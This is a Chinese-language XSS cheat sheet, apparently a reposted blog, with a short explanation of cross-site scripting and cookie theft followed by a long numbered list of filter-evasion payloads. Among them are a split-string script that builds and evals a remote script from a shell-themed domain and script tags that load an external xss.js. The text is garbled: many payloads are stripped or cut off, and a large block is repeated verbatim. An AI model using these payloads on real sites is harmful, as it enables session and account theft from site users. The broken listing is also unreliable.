xss***就是恶意***者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
一般而言,利用跨站脚本***,***者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。
XSS***使用到的技术主要为HTML和Javascript,也包括VBScript和ActionScript等。XSS***对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到***,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。
XSS***分成两类
一类是来自内部的***,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的 跨站漏洞。
另一类则是来自外部的***,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要***一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的 管理员打开
XSS的类型
一种是入库型:即代码被写入数据库
令一种就是非入库型:代码没有被写入数据库
XSS工作流程
1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:
2)恶意提交这个表单
3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。
XSS常见的***代码
(1)普通的XSS JavaScript注入
(2)IMG标签XSS使用JavaScript命令
(3)IMG标签无分号无引号
(4)IMG标签大小写不敏感
(5)HTML编码(必须有分号)
(6)修正缺陷IMG标签
”>
(7)formCharCode标签(计算器)
(8)UTF-8的Unicode编码(计算器)
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
(10)十六进制编码也是没有分号(计算器)
(11)嵌入式标签,将Javascript分开
(12)嵌入式编码标签,将Javascript分开
(13)嵌入式换行符
(14)嵌入式回车
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
(16)解决限制字符(要求同页面)
< script>z=z+’write(“‘
< script>z=z+’
< script>z=z+’tp://ww’
< script>z=z+’w.shell’
< script>z=z+’.net/1.’
< script>z=z+’js>
< script>z=z+’ript>”)’
< script>eval_r(z)
(17)空字符
perl -e ‘print “”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “alert(\”XSS\”) ”;’ > out
(19)Spaces和meta前的IMG标签
(20)Non-alpha-non-digit XSS
< SCRIPT/XSS SRC=” http://3w.org/XSS/xss.js”>
(21)Non-alpha-non-digit XSS to 2
< BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
< SCRIPT/SRC=” http://3w.org/XSS/xss.js”>
(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
< /TITLE>
(31)Input Image
< INPUT SRC=”alert(‘XSS’);”>
(32)BODY Image
< BODY BACKGROUND=”alert(‘XSS’)”>
(33)BODY标签
(34)IMG Dynsrc
< IMG DYNSRC=”alert(‘XSS’)”>
(35)IMG Lowsrc
< IMG LOWSRC=”alert(‘XSS’)”>
(36)BGSOUND
< BGSOUND SRC=”alert(‘XSS’);”>
(37)STYLE sheet
< LINK REL=”stylesheet” HREF=”alert(‘XSS’);”>
(38)远程样式表
(39)List-style-p_w_picpath(列表式)
(2)IMG标签XSS使用JavaScript命令
(3)IMG标签无分号无引号
(4)IMG标签大小写不敏感
(5)HTML编码(必须有分号)
(6)修正缺陷IMG标签
”>
(7)formCharCode标签(计算器)
(8)UTF-8的Unicode编码(计算器)
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
(10)十六进制编码也是没有分号(计算器)
(11)嵌入式标签,将Javascript分开
(12)嵌入式编码标签,将Javascript分开
(13)嵌入式换行符
(14)嵌入式回车
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
(16)解决限制字符(要求同页面)
< script>z=z+’write(“‘
< script>z=z+’
< script>z=z+’tp://ww’
< script>z=z+’w.shell’
< script>z=z+’.net/1.’
< script>z=z+’js>
< script>z=z+’ript>”)’
< script>eval_r(z)
(17)空字符
perl -e ‘print “”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “
(19)Spaces和meta前的IMG标签
(20)Non-alpha-non-digit XSS
< SCRIPT/XSS SRC=” http://3w.org/XSS/xss.js”>
(21)Non-alpha-non-digit XSS to 2
< BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
< SCRIPT/SRC=” http://3w.org/XSS/xss.js”>
(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
< /TITLE>
(31)Input Image
< INPUT SRC=”alert(‘XSS’);”>
(32)BODY Image
< BODY BACKGROUND=”alert(‘XSS’)”>
(33)BODY标签
(34)IMG Dynsrc
< IMG DYNSRC=”alert(‘XSS’)”>
(35)IMG Lowsrc
< IMG LOWSRC=”alert(‘XSS’)”>
(36)BGSOUND
< BGSOUND SRC=”alert(‘XSS’);”>
(37)STYLE sheet
< LINK REL=”stylesheet” HREF=”alert(‘XSS’);”>
(38)远程样式表
(39)List-style-p_w_picpath(列表式)
- XSS
(41)META链接url
< META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=alert(‘XSS’);”>
(42)Iframe
< IFRAME SRC=”alert(‘XSS’);”>< /IFRAME>
(43)Frame
< FRAMESET>< /FRAMESET>
(44)Table
< TABLE BACKGROUND=”alert(‘XSS’)”>
(45)TD
< TABLE>
(46)DIV background-p_w_picpath
< DIV STYLE=”background-p_w_picpath: url(alert(‘XSS’))”>
(47)DIV background-p_w_picpath后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
< DIV STYLE=”background-p_w_picpath: url( alert(‘XSS’))”>
(48)DIV expression
< DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE属性分拆表达
(50)匿名STYLE(组成:开角号和一个字母开头)
(51)STYLE background-p_w_picpath
< STYLE>.XSS{background-p_w_picpath:url(“alert(‘XSS’)”);}< /STYLE>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
< STYLE>